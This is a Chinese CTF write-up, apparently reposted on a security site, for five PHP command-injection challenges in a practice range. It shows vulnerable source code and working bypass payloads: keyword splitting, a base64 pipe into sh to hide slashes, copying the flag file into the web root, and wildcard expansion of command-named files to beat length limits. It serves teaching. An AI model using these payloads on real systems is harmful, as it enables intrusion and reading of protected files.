六边形靶场RCE下篇完结:最短命令与落盘外带

admin 2026-07-19 04:42:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文讲解六边形靶场RCE下篇,聚焦敏感词、无回显、禁斜线及极短长度的绕过。核心结论为过滤仅限输入形态而非最终执行语义。关键发现包括利用命令拆分与base64绕过黑名单,通过cp落盘解决无回显,用base64管道走私斜线,以及通过创建命令名空文件结合通配符展开突破三至四字符极限长度。建议实战中剥离过滤表象,利用Shell解析特性如通配符与管道重组语义以实现有效利用。 综合评分: 87 文章分类: WEB安全,CTF,渗透测试,漏洞POC,实战经验


cover_image

六边形靶场 RCE 下篇完结:最短命令与落盘外带

原创

网安布道师 网安布道师

六边形攻防安全

2026年7月17日 07:06 河北

在小说阅读器读本章

去阅读

六边形攻防靶场 Web → Rce 系列 · 共三篇 下篇:敏感词、无回显、斜线、长度限制——把过滤对抗打穿。

上篇解决“用哪个函数”,中篇解决“禁函数/语法过滤下怎么读文件”。 下篇刁难输入形态本身:关键字、无回显、禁斜线、极短命令。

环境:六边形攻防靶场,「题库 → Web → Rce」。仅供授权练习。

系列收官导读

| 篇目 | 覆盖题目 | | — | — | | 上 | rce-cmdfunction14 | | 中 | disable_functions ×2、bypassserparatorbypass_space | | 下(本文) | bypass_senstiveno_echobypass_slashlimited_length ×2 |

「每题顺序」:源码/环境 → 过滤点 → 绕过 → Payload → 结果 → 小结。


第九题:rce-bypass_senstive

平台题名保留拼写 senstive;考点 sensitive。

「平台路径」:题库 → Web → Rce → rce-bypass_senstive 「难度」:easy · 分值 39

源码 / 环境分析

<?phpif&nbsp;(isset($_GET['cmd'])) {&nbsp; &nbsp;&nbsp;$cmd&nbsp;=&nbsp;$_GET['cmd'];&nbsp; &nbsp;&nbsp;// 关键字黑名单(cat/tac/nl/... 等,完整列表以 highlight_file 为准)&nbsp; &nbsp;&nbsp;if&nbsp;(!preg_match("/cat|tac|nl|more|less|...|php/i",&nbsp;$cmd)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* 以及 ; & 等符号过滤 */) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;system($cmd&nbsp;.&nbsp;" >/dev/null 2>&1");&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"NoNoNo";&nbsp; &nbsp; }}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;highlight_file(__FILE__);}

核心是:「读文件相关关键字黑名单 + 命令后硬拼 >/dev/null 2>&1。完整正则请以靶场页面源码为准。

过滤点

| 点 | 说明 | | — | — | | 关键字 | cat /tac/nl/… 明文被 ban | | 符号 | ;``& 等常见连接符 | | 未覆盖 | base64 ;命令名拆分 c""at / c\at / c''at | | 输出 | 末尾拼重定向 → 常需 || 保住 stdout |

绕过思路

  • 换命令:base64 /flag
  • 拆命令名:c""at / c''at / c\at
  • 末尾加 || 对抗 >/dev/null 2>&1

Payload

?cmd=base64&nbsp;/flag||?cmd=c\at /flag||?cmd=c""at /flag||?cmd=c''at /flag||

结果

rce-bypass_senstive 运行结果

图:地址栏 URL 含 cmd=c""at /flag||,页面回显 Flag。

本题小结

黑名单拦的是“写出来的样子”,拦不住“解析后的样子”。


第十题:rce-no_echo

「平台路径」:题库 → Web → Rce → rce-no_echo 「难度」:easy · 分值 40

源码 / 环境分析

<?phpif&nbsp;(isset($_GET['cmd'])) {&nbsp; &nbsp;&nbsp;$cmd&nbsp;=&nbsp;$_GET['cmd'];&nbsp; &nbsp;&nbsp;if&nbsp;(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|\>/i",&nbsp;$cmd)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;shell_exec($cmd); &nbsp;&nbsp;// 返回值被丢弃 → 页面无回显&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"NoNoNo";&nbsp; &nbsp; }}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;highlight_file(__FILE__);}

过滤点

| 点 | 说明 | | — | — | | shell_exec 不输出 | 命令能跑,页面空白 | | 禁 > | 不能 cat /flag > 1.txt | | 仍可用 | cpln / tar 等落盘手段 |

绕过思路

把 Flag 「拷到 Web 目录可访问文件」,再用浏览器下载/打开。

Payload

?cmd=cp&nbsp;/etc/hosts 1.txt?cmd=cp&nbsp;/f* 1.txt

然后访问:

http://靶机/1.txt

备选:ln -star -czvf 1.tar.gz /f* 等。

结果

「步骤 1」(URL 里是 Payload,页面空白正常):

rce-no_echo 步骤 1

「步骤 2」(打开落盘文件):

rce-no_echo 步骤 2

本题小结

无回显 ≠ 无利用。要同时控:执行能力、可写目录、静态访问范围等。


第十一题:rce-bypass_slash

「平台路径」:题库 → Web → Rce → rce-bypass_slash 「难度」:easy · 分值 41

源码 / 环境分析

<?php// flag 在根目录if&nbsp;(isset($_GET['cmd'])) {&nbsp; &nbsp;&nbsp;$cmd&nbsp;=&nbsp;$_GET['cmd'];&nbsp; &nbsp;&nbsp;if&nbsp;(!preg_match("/\//",&nbsp;$cmd)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;system($cmd&nbsp;.&nbsp;" >/dev/null 2>&1");&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"NoNoNo";&nbsp; &nbsp; }}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;highlight_file(__FILE__);}?>

过滤点

| 点 | 说明 | | — | — | | 正则 | 参数里「不能出现 / | | 拼接 | 同样有 >/dev/null 2>&1 | | 可利用 | Base64 载荷里可以“藏”斜线;管道进 sh |

cat /flag 的 Base64:

Y2F0IC9mbGFn

绕过思路

请求串里不出现 /echo <b64>|base64 -d|sh||

Payload

?cmd=echo&nbsp;Y2F0IC9mbGFn|base64&nbsp;-d|sh||

备选两步:

?cmd=echo&nbsp;Y2F0IC9mbGFn>1.txt?cmd=cat&nbsp;1.txt|base64&nbsp;-d|sh||

结果

rce-bypass_slash 运行结果

图:地址栏完整 URL 含 Base64 管道 Payload,页面回显 Flag。

本题小结

过滤请求字符串 ≠ 过滤最终命令语义。


第十二题:rce-limited_length

「平台路径」:题库 → Web → Rce → rce-limited_length 「难度」:easy · 分值 42

源码 / 环境分析

首页跳转 you_know.php。实机 highlight_file 接近:

<?php@unlink('index.html');if&nbsp;(isset($_GET['cmd'])) {&nbsp; &nbsp;&nbsp;if&nbsp;(strlen($cmd) <&nbsp;4) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 部分版本这里写的是未赋值的 $cmd&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;system($_GET['cmd']); &nbsp; &nbsp; &nbsp; &nbsp;// 真正执行的是 GET 参数&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"NoNoNo";&nbsp; &nbsp; }}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;highlight_file(__FILE__);}

阅读时按 cmd 长度 < 4 才执行 理解即可(最多 3 个字符)。 同目录有 where_is_flag.php(Flag 写在 PHP 源码里)与 you_know.php

过滤点

| 点 | 说明 | | — | — | | 长度 | 单次命令 「最多 3 字符」(条件为 < 4) | | 无法一次写 | cat where_is_flag.php 过长 |

绕过思路

  1. >nl:创建名为 nl 的空文件(nl 是合法命令)
  2. *:Shell 按字典序展开文件名 → 近似 nl where_is_flag.php you_know.php

Payload

?cmd=>nl?cmd=*

(入口:/you_know.php

结果

rce-limited_length 运行结果

图:地址栏 you_know.php?cmd=*(前一步 >nl),输出含 Flag 的源码。

本题小结

长度限制防不住对可写目录的多次短操作累积。


第十三题:rce-limited_length1

「平台路径」:题库 → Web → Rce → rce-limited_length1 「难度」:medium · 分值 43

源码 / 环境分析

前端是表单,POST JSON 到 /hacker/shell.php

<?phperror_reporting(0);header('Content-Type: application/json; charset=utf-8');
$data&nbsp;=&nbsp;json_decode(file_get_contents('php://input'),&nbsp;true);$command&nbsp;=&nbsp;$data['command'];
if&nbsp;($command&nbsp;!=&nbsp;null) {&nbsp; &nbsp;&nbsp;// 关键字黑名单很长:flag/bin/IFS/引号/?/括号等,完整以实机为准&nbsp; &nbsp;&nbsp;if&nbsp;(preg_match("/flag|bin|IFS|more|bash|grep|ln|\\?|.../",&nbsp;$command)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;json_encode(['output'&nbsp;=>&nbsp;'Result: Invalid arguments!']);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die();&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;if&nbsp;(strlen($command) >&nbsp;4) { &nbsp;&nbsp;// 注意:这里是 >4,即最多允许 4 个字符&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;json_encode(['output'&nbsp;=>&nbsp;'Result: Too Long!']);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die();&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;$result&nbsp;= @shell_exec($command); &nbsp;// 只收 stdout&nbsp; &nbsp;&nbsp;echo&nbsp;json_encode(['output'&nbsp;=>&nbsp;'Result: '&nbsp;.&nbsp;$result,&nbsp;'result'&nbsp;=>&nbsp;$result]);}

根目录有 flag.txtshell_exec「只收 stdout」

过滤点

| 点 | 说明 | | — | — | | 长度 | strlen($command) > 4 直接拒绝 | | 关键字 | 明文 flag 等被 ban | | 输出 | 无 stderr,目录参数报错常不可见 |

绕过思路

  1. >cat:建空文件名为 cat(长度 4)
  2. * /*:展开为 cat 当前目录文件… 根目录路径…,stdout 里夹带 /flag.txt

Payload

在页面命令框(或 JSON command)中:

>cat* /*

结果

rce-limited_length1 运行结果

图:页面地址 + 命令框 * /*(前一步 >cat)+ 回显中的 Flag。

本题小结

可写目录 + 通配展开,会让 4 字符限制形同虚设。


下篇总结

| 题目 | 源码关键点 | 突破 | | — | — | — | | bypass_senstive | 关键字正则 + 拼重定向 | 拆分/base64 + || | | no_echo | shell_exec 丢返回值 + 禁 > | cp 落盘再访问 | | bypass_slash | ban / | Base64 管道进 sh | | limited_length | strlen < 4 | >nl* | | limited_length1 | strlen > 4 ban + 关键字 | >cat* /* |

「过滤的是输入形态,攻击拼的是最终语义。」


三篇总复盘:Rce 细分 13 题地图

| 序号 | 题目 | 篇 | 一句话 | | — | — | — | — | | 1 | rce-cmdfunction1 | 上 | eval 后用 exec 第二参数 | | 2 | rce-cmdfunction2 | 上 | passthru 直出 | | 3 | rce-cmdfunction3 | 上 | 反引号 | | 4 | rce-cmdfunction4 | 上 | echo(.{0,10})/fl* | | 5 | rce-bypass_disable_functions | 中 | 禁命令函数 → PHP 读文件 | | 6 | rce-bypass_disable_functions1 | 中 | call_user_func 漏 readfile | | 7 | rce-bypassserparator | 中 | || + 对抗重定向拼接 | | 8 | rce-bypass_space | 中 | %09 | | 9 | rce-bypass_senstive | 下 | 敏感词拆分 | | 10 | rce-no_echo | 下 | 无回显落盘 | | 11 | rce-bypass_slash | 下 | Base64 走私 / | | 12 | rce-limited_length | 下 | 文件名当命令 | | 13 | rce-limited_length1 | 下 | 4 字符极限拼装 |


去哪练?

靶场注册:公众号回复【靶场邀请码】获取邀请码即可进行注册 打开 https://hexlab.fun/ → 「题库 → Web → Rce」 建议:先自己看源码、列过滤点,再对照文章。

这里是 「六边形攻防安全」。本系列完结,下个专题见。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:六边形攻防安全 网安布道师 网安布道师《六边形靶场 RCE 下篇完结:最短命令与落盘外带》

评论:0   参与:  0